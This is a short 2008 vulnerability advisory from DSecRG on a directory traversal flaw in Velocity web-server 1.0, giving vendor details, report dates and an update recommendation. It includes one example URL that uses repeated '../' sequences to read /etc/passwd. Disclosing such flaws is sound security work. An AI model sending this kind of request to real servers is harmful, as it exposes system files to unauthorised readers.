Velocity Web-Server 1.0 - Directory Traversal

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-028


Application:                    Velocity web-server (a part of Velocity Security Management System)
Versions Affected:              Old version 1.0
Vendor URL:                     http://hirschelectronics.com
Bugs:                           Directory traversal File Download
Exploits:                       YES
Reported:                       03.03.2008
Second report:                  14.03.2008
Vendor response:                14.03.2008
Solution:
Date of Public Advisory:
Authors:                        Digital Security Research Group [DSecRG]


Description
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Velocity web-server has critical  directory traversal  vulnerability


Details
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Directory traversal vulnerability find in Velocity web-server
Attacker can exploit this by sending a url with url directory traversal




Example:



    http://[server]:[port]/../../../../../../../../../../../../../etc/passwd





Fix Information
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Version 1.o is very old. If you have thes version please it Update it to last version on http://hirschelectronics.com





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